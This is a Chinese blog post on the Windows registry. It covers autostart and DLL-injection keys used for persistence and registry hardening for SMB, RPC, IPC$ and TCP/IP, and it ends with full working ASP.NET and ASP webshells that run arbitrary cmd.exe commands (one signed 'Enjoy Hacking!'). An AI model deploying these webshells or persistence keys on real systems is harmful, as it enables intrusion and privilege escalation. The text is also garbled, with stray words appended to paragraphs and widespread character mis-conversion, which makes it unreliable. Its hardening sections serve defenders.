註冊表(Registry,繁體中文版Windows稱之爲登陸檔)是Microsoft Windows中的一個重要的數據庫,用於存儲系統和應用程序的設置信息。早在Windows 3.0推出OLE技術的時候,註冊表就已經出現。隨後推出的Windows NT是第一個從系統級別普遍使用註冊表的操做系統。可是,從Microsoft Windows 95開始,註冊表才真正成爲Windows用戶常常接觸的內容,並在其後的操做系統中繼續沿用至今php
在Windows 3.x操做系統中,註冊表是一個極小文件,其文件名爲Reg.dat,裏面只存放了某些文件類型的應用程序關聯,大部分的設置放在Win.ini、System.ini等多個初始化INI文件中。因爲這些初始化文件不便於管理和維護,時常出現一些因INI文件遭到破壞而致使系統沒法啓動的問題。爲了使系統運行得更爲穩定、健壯,Windows 95/98設計師們借用了Windows NT中的註冊表的思想,將註冊表引入到Windows 95/98操做系統中,並且將INI文件中的大部分設置也移植到註冊表中,所以,註冊表在Windows 95/98操做系統的啓動、運行過程當中起着重要的做用html
註冊表是windows操做系統中的一個核心數據庫,其中存放着各類參數,直接控制着windows的啓動、硬件驅動程序的裝載以及一些windows應用程序的運行,從而在整個系統中起着核心做用。這些包括了linux
1. 軟、硬件的相關配置和狀態信息 2. 應用程序和資源管理器外殼的初始條件、首選項和卸載數據 3. 聯網計算機的整個系統的設置和各類許可 4. 文件擴展名與應用程序的關聯 5. 硬件部件的描述、狀態和屬性 6. 性能記錄 7. 其餘底層的系統狀態信息 8. 其餘數據等
具體來講,在啓動Windows時,Registry會對照已有硬件配置數據,檢測新的硬件信息ios
1. 系統內核從Resistry中選取信息,包括要裝入什麼設備驅動程序,以及依什麼次序裝入,內核傳送回它自身的信息,例如版權號等 2. 同時設備驅動程序也向Registry傳送數據,並從Registry接收裝入和配置參數 3. 設備驅動程序會告訴Resistry它在使用什麼系統資源,例如硬件中斷或DMA通道等 4. 設備驅動程序還要報告所發現的配置數據 5. 爲應用程序或硬件的運行提供增長新的配置數據的服務 6. 配合INI文件兼容16位Windows應用程序,當安裝—個基於Windows 3.x的應用程序時,應用程序的安裝程序Setup像在windows中—樣建立它本身的INI文件或在Win.ini和System.ini文件中建立入口 7. 同時windows還提供了大量其餘接口,容許用戶修改系統配置數據,例如控制面板、設置程序等
若是註冊表受到了破壞,輕則使windows的啓動過程出現異常,重則可能會致使整個windows系統的徹底癱瘓。所以正確地認識、使用,特別是及時備份以及有問題恢復註冊表對windows用戶來講就顯得很是重要web
註冊表由鍵(或稱"項")、子鍵(子項)和值項構成。一個鍵就是分支中的一個文件夾,而子鍵就是這個文件夾中的子文件夾,子鍵一樣是一個鍵。一個值項則是一個鍵的當前定義,由如下幾個部分組成shell
1. 名稱 2. 數據類型 3. 分配的值
一個鍵能夠有一個或多個值,每一個值的名稱各不相同,若是一個值的名稱爲空,則該值爲該鍵的默認值
在註冊表編輯器(Regedit.exe)中,數據結構顯示以下,其中,command鍵是open鍵的子鍵,(默認)表示該值是默認值,值名稱爲空,其數據類型爲REG_SZ,數據值爲:數據庫
%systemroot%/system32/NOTEPAD.EXE "%1
註冊表的數據類型主要有如下四種 編程
1. REG_SZ: 字符串: 文本字符串 2. REG_MULTI_SZ: 多字符串: 含有多個文本值的字符串 3. REG_BINARY: 二進制數: 二進制值,以十六進制顯示 4. REG_DWORD: 雙字: 一個32位的二進制值,顯示爲8位的十六進制值
Relevant Link:windows
http://baike.baidu.com/view/979.htm
入侵服務器後,經過部署自啓動項是黑客經常使用的劉後門手段,整體來講,Windows上部署自啓動後門的方式有以下瀏覽器
1. 當前用戶專有的啓動文件夾 這是許多應用軟件自動啓動的經常使用位置,Windows自動啓動放入該文件夾的全部快捷方式。用戶啓動文件夾通常在: \Documents and Settings\<用戶名字>\「開始」菜單\程序\啓動,其中"<用戶名字>"是當前登陸的用戶賬戶名稱 2. 對全部用戶有效的啓動文件夾 這是尋找自動啓動程序的第二個重要位置,無論用戶用什麼身份登陸系統,放入該文件夾的快捷方式老是自動啓動——這是它與用戶專有的啓動文件夾的區別所在。該文件夾通常在: \Documents and Settings\All Users\「開始」菜單\程序\啓動 3. C:\Windows\win.ini 檢查"run="、"load="等選項後面是否包含一些來歷不明的內容,正常狀況下這個文件夾裏不該該有load、run項
1. Load註冊鍵: 它也可以自動啓動程序 HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load 2. Userinit註冊鍵: 這裏也可以使系統啓動時自動初始化程序。一般該註冊鍵下面有一個userinit.exe,如圖一,但這個鍵容許指定用逗號分隔的多個程序,例如"userinit.exe,OSA.exe" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit 3. Explorer\Run註冊鍵: 和load、Userinit不一樣,Explorer\Run鍵在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run 4. RunServicesOnce註冊鍵: RunServicesOnce註冊鍵用來啓動服務程序,啓動時間在用戶登陸以前,並且先於其餘經過註冊鍵啓動的程序。 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce 5. RunServices註冊鍵: RunServices註冊鍵指定的程序緊接RunServicesOnce指定的程序以後運行,但二者都在用戶登陸以前 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices 6. RunOnce\Setup註冊鍵: RunOnce\Setup指定了用戶登陸以後運行的程序 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup 7. RunOnce註冊鍵: 安裝程序一般用RunOnce鍵自動運行程序 # HKEY_LOCAL_MACHINE下面的RunOnce鍵會在用戶登陸以後當即運行程序,運行時機在其餘Run鍵指定的程序以前 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce # HKEY_CURRENT_USER下面的RunOnce鍵在操做系統處理其餘Run鍵以及"啓動"文件夾的內容以後運行 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce # 若是是XP,還須要檢查一下 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx 8. Run註冊鍵: Run是自動運行程序最經常使用的註冊鍵 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # HKEY_CURRENT_USER下面的Run鍵緊接HKEY_LOCAL_MACHINE下面的Run鍵運行,但二者都在處理"啓動"文件夾以前 9. Windows Shell Context Menu option HKLM\Software\Classes\*\shell\yourappname HKLM\Software\Classes\*\shell\yourappname\command HKLM\Software\Classes\Folder\shell\yourappname HKLM\Software\Classes\Folder\shell\yourappname\command HKLM\Software\Classes\Directory\shell\yourappname HKLM\Software\Classes\Directory\shell\yourappname\command HKLM\Software\Classes\Drive\shell\yourappname HKLM\Software\Classes\Drive\shell\yourappname\command 10. EnableLUA \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ 11. Logon or Logoff scripts HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logon HKCU\Software\Policies\Microsoft\Windows\System\Scripts\Logoff HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Logon HKLM\Software\Policies\Microsoft\Windows\System\Scripts\Logoff HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Startup HKLM\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Shutdown 12. command processor’s AutoRun setting \HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\ \HKEY_USERS\*\Software\Microsoft\Command Processor\* 13. AutoStart Explorer Keys (自動啓動資源管理器項 \HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\ \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WOW\Control\Session Manager\Environment\ \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad 14. AutoStart System Injection Keys (自動啓動系統注入項) \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs\* \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock2\Parameters\Protocol_Catalog9\Catalog_Entries\* \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\* \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\* \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\* \HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks\*
Relevant Link:
https://help.symantec.com/cs/SESCSP_HELP/SESCSP/v99799033_v121007334/%E7%B3%BB%E7%BB%9F%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9B%91%E8%A7%86--%E8%87%AA%E5%8A%A8%E5%90%AF%E5%8A%A8%E9%A1%B9%7CSymantec%E2%84%A2-Critical-System-Protection?locale=ZH_CN
除了上述直接指定命令行的自啓動項,咱們再來看一些能夠指定dll路徑並由系統執行的自啓動項,這容許黑客將後門惡意邏輯封裝在一個dll中,並在系統啓動時隨之執行
惡意代碼編寫者能夠經過一個名爲Appinit_DLL的特殊註冊表項來讓它們的dll得到加載。AppInit_DLL中的DLL程序會在進程加載User32.dll時被加載。插入DLL路徑到註冊表AppInit_DLL,會讓DLL程序得到加載的機會
# 由空格分隔的字符串dll路徑
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
# 爲1表示開啓appinit_dll
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs
不少進程都會加載User32.dll,這些進程也會加載AppInit_DLL。惡意代碼編寫者一般須要在攻擊payload里加上判斷當前進程的邏輯,只對指定目標發起攻擊,本質上說,這和linux ld_preload是相似的。User32.dll被加載到進程時,會獲取AppInit_DLLs註冊表項,如有值,則調用LoadLibrary() API加載用戶DLL
註冊表項修改完畢後,重啓系統,使修改生效
運行cmd.exe時由於加載了user32.dll,因此也同時加載了咱們插入的dll
惡意代碼編寫者能夠掛鉤一個特殊的Winlogon事件,如Lock,Logoff,Logon,Shutdown,StartScreenSaver,StartShell,Startup,StopScreenSaver,Unlock等。這甚至能夠容許惡意代碼在安全模式下加載
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\*
當WinLogon.exe產生一個事件通知的時候,Windows會檢查註冊表裏面指定的DLL並調用DLL指定的導出函數
Relevant Link:
http://blog.csdn.net/swanabin/article/details/50925645 http://blog.csdn.net/u013565525/article/details/28416279
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main //右半部分窗口中的Start Page就是IE主頁地址了
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer //"NoDrives"鍵值被改成1了,改成0就可恢復正常顯示
Relevant Link:
http://bbs.csdn.net/topics/487355/ http://blog.sina.com.cn/s/blog_4c9df5350100082h.html http://baike.baidu.com/view/979.htm http://www.jb51.net/os/19806.html
135端口主要用於使用RPC(Remote Procedure Call,遠程過程調用)協議並提供DCOM(分佈式組件對象模型)服務,經過RPC能夠保證在一臺計算機上運行的程序能夠順利地執行遠程計算機上的代碼,使用DCOM能夠經過網絡直接進行通訊,可以跨包括HTTP協議在內的多種網絡傳輸
"衝擊波"病毒,該病毒就是利用RPC漏洞來攻擊計算機的。RPC自己在處理經過TCP/IP的消息交換部分有一個漏洞,該漏洞是因爲錯誤地處理格式不正確的消息形成的。該漏洞會影響到RPC與DCOM之間的一個接口,該接口偵聽的端口就是135,爲了不"衝擊波"病毒以及其餘RPC漏洞的攻擊,建議關閉該端口
1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\EnableDCOM: 值改成"N" 2. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\DCOM Protocols: 鍵值中刪除"ncacn_ip_tcp"
此外,還須要確認停用"Distributed Transaction Coordinator"服務,須要重啓所作的更改纔會生效
445端口是一個譭譽參半的端口,他和139端口一塊兒是IPC$入侵的主要通道。有了它咱們能夠在局域網中輕鬆訪問各類共享文件夾或共享打印機,但也正是由於有了它,黑客們纔有了可乘之機,攻擊者能經過該端口共享受害者的硬盤,甚至會在悄無聲息中將硬盤格式化掉
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled(DWORD值): 並設置數值爲0
Relevant Link:
https://social.technet.microsoft.com/Forums/en-US/5951b3fc-1fef-497e-9d16-2e297b2a9395/rpc135?forum=window7betacn http://bingdian.blog.51cto.com/94171/20846 http://baike.baidu.com/view/1670802.htm
禁用IPC$空鏈接,能夠防止遠程用戶的匿名訪問
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RestrictAnonymous //有關RestrictAnonymous的值的三種狀況解釋 1. 1: 不容許枚舉SAM賬戶和名稱(安全) 2. 2: 沒有顯式匿名權限就沒法訪問,當基於 Windows 2000/2003/2008的域控制器上的RestrictAnonymous註冊表值被設置爲2時,下列任務受到限制 1) 下級成員工做站或服務器沒法創建netlogon安全通道 2) 信任域中的下級域控制器沒法創建netlogon安全通道 3) Microsoft Windows NT用戶在密碼過時後沒法更改密碼 4) 瀏覽器服務沒法從在RestrictAnonymous註冊表值設置爲2的計算機上運行的備份瀏覽器、主瀏覽器或域主瀏覽器中檢索域列表或服務器列表。所以,全部依賴瀏覽器服務的程序都沒法正常工做。 //因爲上述結果,建議您不要在包括下級客戶端的混合模式環境中將 RestrictAnonymous 註冊表值設置爲 2。只有在 Windows 2000/2003/2008 環境下,而且只有當進行了充分的質量保證測試以證明適當的服務級別和程序功能繼續保持以後,才應考慮將 RestrictAnonymous 註冊表值設置爲2
Relevant Link:
http://www.zgxue.com/40/405073.html http://cs.ecust.edu.cn/snwei/studypc/oftencommand/ipc$.htm
NetBT(基於TCP/IP的NetBIOS)使用139號TCP端口,通常用在微軟網絡中,例如文件和打印服務
1.HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBt\Parameters\BacklogIncrement //在創建鏈接時,若是BetBT發現可用的鏈接塊數目小於2個,會自動的再分配可用鏈接塊,NetBT每次增長的鏈接塊的數目定義在註冊表中的雙字節值項BacklogIncrement中,該值項位於註冊表項註冊表項,NetBT最多可使用的鏈接塊的數目定義在註冊表項中雙字節值項MaxConnBackLog中,默認爲1000個,最大值能夠取到40000個。能夠適當的增大此參數的值以容許更多的同時鏈接 1) 3: 默認值爲3 2) 最小值爲1 3) 最大值位20。增大此值能夠在有衆多鏈接時提高性能。每一個鏈接塊消耗87個字節 //對於使用Sockets的Windows服務,如FTP,能夠經過配置動態Backlog來提高在網絡繁忙時的性能。使用動態Bakclog,系統會預先分配必定的資源用於創建鏈接,這樣就省去了給鏈接分配資源的時間和CPU消耗。若是須要再增長資源,能夠一次性的增長若干個鏈接所需的資源空間 2. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\EnableDynamicBacklog 1) 該值項的默認值爲0,表示禁止動態Backlog 2) 對於網絡繁忙或者易遭受SYN攻擊的系統,建議設置爲1,表示容許動態Backlog 3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MinimumDynamicBacklog 1) 該值項的默認值爲0,表示動態Backlog分配的自由鏈接的最小數目。當自由鏈接數目低於此數目時,將自動的分配自由鏈接。默認值爲0 2) 對於網絡繁忙或者易遭受SYN攻擊的系統,建議設置爲20 4. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\MaximumDynamicBacklog 1) 該值項的默認值爲0,表示定義最大"準"鏈接的數目。"準"鏈接包括自由鏈接和半鏈接 2) Recommended value data: 20000,對於網絡繁忙或者易遭受SYN攻擊的系統,應該設置此值,大小取決於內存的多少。通常來講,每32M內存最大能夠增長5000個 5. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters\DynamicBacklogGrowthDelta 1) 該值項的默認值爲5,表示定義每次增長的自由鏈接數目 2) 對於網絡繁忙或者易遭受SYN攻擊的系統,建議設置爲10
Windows針對SYN淹沒攻擊提供了一個叫作SYN淹沒攻擊保護的特性。當出現了SYN淹沒攻擊的徵兆時,Windows自動下降對那些沒法確認的鏈接請求的響應時間
1. Enable SYN attack protection HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\SynAttackProtect(DWORD值) 1) 0: 該值項的默認值爲0,表示不容許SYN淹沒攻擊保護特性 2) 1: 表示容許啓用SYN淹沒攻擊保護特性 3) 2: 推薦該數值,表示徹底開啓SYN淹沒攻擊 2. Set SYN protection thresholds 2.1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxPortsExhausted: Determines how many connection requests the system can refuse before TCP/IP initiates SYN flooding attack protection 1) Recommended value: 5 2.2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpen: Determines how many connections the server can maintain in the half-open (SYN-RCVD) state before TCP/IP initiates SYN flooding attack protection 1) Recommended value data: 500 2.3 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxHalfOpenRetried: Determines how many connections the server can maintain in the half-open (SYN-RCVD) state even after a connection request has been retransmitted 1) Recommended value data: 400 3. Set Additional Protections 3.1 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxConnectResponseRetransmissions: Determines how many times TCP retransmits an unanswered SYN-ACK (connection request acknowledgment). 1) 3: 該值項的默認值爲3,表示定義了對於鏈接請求迴應包的重發次數 2) 1: 若是該值爲1,則SYN淹沒攻擊不會有效果,可是這樣會形成鏈接請求失敗概率的升高 3) 2: Recommended value data: 2 3.2 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\TcpMaxDataRetransmissions: Determines how many times TCP retransmits an unacknowledged data segment on an existing connection 1) Recommended value data: 2 3.3 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\EnablePMTUDiscovery: Determines whether TCP uses a fixed, default maximum transmission unit (MTU) or attempts to detect the actual MTU(防護TCP碎片攻擊) 1) Recommended value data: 0 3.4 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TcpIp\Parameters\KeepAliveTime: Determines how often TCP sends keep-alive transmissions. 1) Recommended value data: 300000
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand 1. Recommended value data: 1 //Specifies to not release the NetBIOS name of a computer when it receives a name-release request.
HKLM\System\CurrentControlSet\Services\TcpIp\Parameters\EnableICMPRedirect 1. Recommended value data: 0 2. 1 (enabled) //Modifying this registry value to 0 prevents the creation of expensive host routes when an ICMP redirect packet is received.
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableDeadGWDetect 1. Recommended value data: 0 2. 1 (enabled) //Prevents an attacker from forcing the switching to a secondary gateway
1. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\DisableIPSourceRouting: Disables IP source routing, which allows a sender to determine the route a datagram should take through the network(Protect Screened Network Details) 1) Recommended value data: 1 2) 0 (forward all packets) 3) 2 (drop all incoming source routed packets) 2. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableMulticastForwarding: The routing service uses this parameter to control whether or not IP multicasts are forwarded. This parameter is created by the Routing and Remote Access Service.(Do Not Forward Packets Destined for Multiple Hosts) 1) Recommended value data: 0 2) 1 (true) 3. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter: Setting this parameter to 1 (true) causes the system to route IP packets between the networks to which it is connected.(Only Firewalls Forward Packets Between Networks) 1) Recommended value data: 0 2) 1 (true) 4. HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\EnableAddrMaskReply: This parameter controls whether the computer responds to an ICMP address mask request.(Mask Network Topology Details) 1) Recommended value data: 0 2) 1 (true)
某些服務必須可以訪問註冊表才能正常發揮做用。例如,在一個運行目錄複製的系統上,「複製器」賬戶必須可以訪問相關的註冊表項。註冊表編輯器支持對 Windows 註冊表的遠程訪問;可是,咱們也能夠限制這種訪問
1. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\Description: Registry Server
Relevant Link:
https://msdn.microsoft.com/en-us/library/ff648853.aspx https://technet.microsoft.com/en-us/library/cc957549.aspx http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=2360&ArticlePage=3
在Windows 2000/XP/2003系統中,邏輯分區與Windows目錄默認爲共享,這是爲管理員管理服務器的方便而設,但卻成爲了安全漏洞
利用IPC$,鏈接者能夠與目標主機創建一個空的鏈接,即無需用戶名和密碼就能鏈接主機,固然這樣鏈接是沒有任何操做權限的。但利用這個空的鏈接,鏈接者能夠獲得目標主機上的用戶列表。
利用得到的用戶列表,就能夠猜密碼,或者窮舉密碼,從而得到更高,甚至管理員權限
1. IPC$(Internet Process Connection)
是共享"命名管道"的資源,它是爲了讓進程間通訊而開放的命名管道,能夠經過驗證用戶名和密碼得到相應的權限,在遠程管理計算機和查看計算機的共享資源時使用 只要經過IPC$,得到足夠的權限(即猜解到賬號、密碼),就能夠在主機上運行程序、建立用戶、把主機上C、D、E等邏輯分區共享給入侵者,主機上的全部資料
要防止別人用ipc$和默認共享入侵,須要禁止ipc$空鏈接,避免入侵者取得用戶列表,並取消默認共享
1. 禁止ipc$空鏈接進行枚舉
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA\RestrictAnonymous = DWORD的鍵值改成:00000001
1) 0x0(缺省) 2) 0x1: 匿名用戶沒法列舉本機用戶列表 3) 0x2: 匿名用戶沒法鏈接本機IPC$共享 //不建議使用2,不然可能會形成一些服務沒法啓動,如SQL Server 2. 關閉139與445端口 ipc$鏈接是須要139或445端口來支持的,139端口的開啓表示netbios協議的應用,經過13九、445(win2000)端口實現對共享文件/打印機的訪問,所以關閉139與445端口能夠禁止ipc$鏈接 1) 關閉139端口能夠經過禁用 netbios 協議來實現: 控制面板->網絡和撥號鏈接->本地鏈接,點屬性按鈕進入"本地鏈接 屬性"頁面,選擇"Internet 協議 (TCP/IP)",而後點屬性按鈕,在彈出窗口點高級按鈕,而後選擇WINS標籤,點"禁用 TCP/IP 上的 NetBios",最後肯定退出 2) 445端口關閉方法: 運行regedit,找到項[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters],創建名稱爲SMBDeviceEnabled,DWORD類型的鍵,值爲00000000
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters\AutoShareServer
Type:DWORD
Value: 0(關閉)
Relevant Link:
http://blog.vpsks.com/140.html http://www.splaybow.com/post/windows-445port.html http://baike.baidu.com/view/1296452.htm
windows、.NET、危險指令是部署WEBSHELL以後,進行橫向滲透提權的經常使用手段
wshom.ocx是Windows本地腳本對象運行時相關文件,用來提供WshShell對象和WshNetwork對象接口的訪問
The WshShell object is a COM object
Category |
Method or Property |
---|---|
Running Programs |
Run, Exec |
Working with Special Folders |
SpecialFolders |
Working with Shortcuts |
CreateShortcut |
Working with Environment Variables |
Environment, ExpandEnvironmentStrings |
Working with the Event Log |
LogEvent |
Working with the Registry |
RegRead, RegWrite, RegDelete |
Sending Keystrokes to an Application |
AppActivate, SendKeys |
Obtaining a Scripts Current Directory |
CurrentDirectory |
Creating Timed Dialog Boxes |
Popup |
/* test.vbs */ //WshShell refers to the Shell object exposed via the Automation interface of WScript. Therefore, you must use CreateObject to return this object Set WshShell = Wscript.CreateObject("Wscript.Shell") Set oShellLink = WshShell.CreateShortcut("Current Script.lnk") oShellLink.TargetPath = Wscript.ScriptFullName oShellLink.Save Set oUrlLink = WshShell.CreateShortcut("Microsoft Web Site.URL") oUrlLink.TargetPath = "http://www.baidu.com" oUrlLink.Save
W.Shell組件經常被黑客用來執行vbs腳本,黑客經過WEBSEHLL或者其餘上傳漏洞上傳vbs提權腳本並執行,除此以外,黑客上傳ASP、ASP.NET WEBSHELL(其中包含了W.Shell的調用)
ASP.NET有自身的執行CMD指令的方式,可是若是目標機器禁用了.NET的指令執行,這個時候就可使用WScript.Shell,由於只要是ASP中能用的組件,均可以直接向下兼容地用於ASP.NET中
ASP.NET提供了2種方式讓咱們使用COM組件
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %> <script runat="server"> sub runcmd(Src As Object, E As EventArgs) Dim StrResult As String Dim CMDShell As Object CMDShell = Server.CreateObject("WScript.Shell") StrResult = CMDShell.exec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall StrResult = Replace(StrResult , "<","<") StrResult = Replace(StrResult , ">",">") ResultLabel.Text = "<pre>" & StrResult & "</pre>" end sub </script> <html> <head><title>WSH.SHell For ASP.NET</title></head> <body> <form runat="server"> "cmd.exe" path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" /> <br> Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server" /> <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" /> <br> <asp:Label ID="ResultLabel" runat="server" /> </form> <div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------</div> <hr width="50%"> </body> </html>
微軟提供了類型庫導入器(Type Library Importer),通過它的轉換,咱們就可使用COM組件了,轉化以後,會產生一個dll文件,須要放到web木龍骨的bin目錄下才能夠被使用,這個dll不須要註冊就能夠直接使用(這也是ASP.NET和ASP的區別之一)
1) Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
2) 而後把WSHomx.dll放到web目錄的bin下面
<%@ Page Language="VB" validateRequest="false"%> <script runat="server"> sub runcmd(Src As Object, E As EventArgs) Dim StrResult As String Dim CMDShell As New WSHomx.WshShell CMDShell = Server.CreateObject("WScript.Shell") StrResult = CMDShell.exec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall StrResult = Replace(StrResult , "<","<") StrResult = Replace(StrResult , ">",">") ResultLabel.Text = "<pre>" & StrResult & "</pre>" end sub </script> <html> <head><title>WSH.SHell For ASP.NET</title></head> <body> <form runat="server"> "cmd.exe" path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" /> <br> Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server" /> <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" /> <br> <asp:Label ID="ResultLabel" runat="server" /> </form> <div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------</div> <hr width="50%"> </body> </html>
W.Shell/WScript.Shell組件所在註冊表的位置爲
1. HKEY_CLASSES_ROOT\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}: 刪除 2. HKEY_CLASSES_ROOT\WScript.Shell: 更名爲 HKEY_CLASSES_ROOT\WScript.Shell_bak 3. HKEY_CLASSES_ROOT\WScript.Shell.1: 更名爲 HKEY_CLASSES_ROOT\WScript.Shell.1_bak 4. HKEY_CLASSES_ROOT\WScript.Shell\CLSID\項目的值: 項目的值改成其餘值(刪除效果也是同樣的) 5. HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\項目的值: 項目的值改成其餘值(刪除效果也是同樣的) /* regsvr32/u C:\WINDOWS\System32\wshom.ocx del C:\WINDOWS\System32\wshom.ocx */
Relevant Link:
http://www.mydiannao.com/article/show.asp?id=3902 http://www.processlibrary.com/en/directory/files/wshom/22473/ http://baike.baidu.com/view/702418.htm http://www.informit.com/articles/article.aspx?p=1187429&seqNum=5 https://technet.microsoft.com/en-us/library/ee156590.aspx http://www.devguru.com/technologies/wsh/17408 http://codex.wiki/post/183860-445
wscript.shell、shell.application這兩個組件都是來執行程序的,可是正常的業務場景中不多會用到
Set objShell = CreateObject("Shell.Application") objShell.ShellExecute "E:\demo\batchScript.cmd", "", "", "runas", 1
Set objShell = CreateObject("Shell.Application") objShell.ShellExecute "cscript", "E:\demo\vbscript.vbs", "", "runas", 1
<% On Error Resume Next Dim theFile, thePath, appPath, appName, appArgs appPath = Trim(Request("appPath")) appName = Trim(Request("appName")) appArgs = Trim(Request("appArgs")) If appName = "" Then appName = "cmd.exe" End If If appPath <> "" And Right(appPath, 1) <> "\" Then appPath = appPath & "\" End If If LCase(appName) = "cmd.exe" And appArgs <> "" Then If LCase(Left(appArgs, 2)) <> "/c" Then appArgs = "/c " & appArgs End If Else If LCase(appName) = "cmd.exe" And appArgs = "" Then appArgs = "/c " End If End If Set objShellApp = CreateObject("Shell.Application") objShellApp.ShellExecute appName, appArgs, appPath, "", 0 %> <form method=post onSubmit='this.Submit.disabled=true'> 所在路徑: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=62><br/> 程序文件: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=62><br/> 命令參數: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=62> <input type=submit name=Submit value=' 運行 '><br/> <hr/>注: 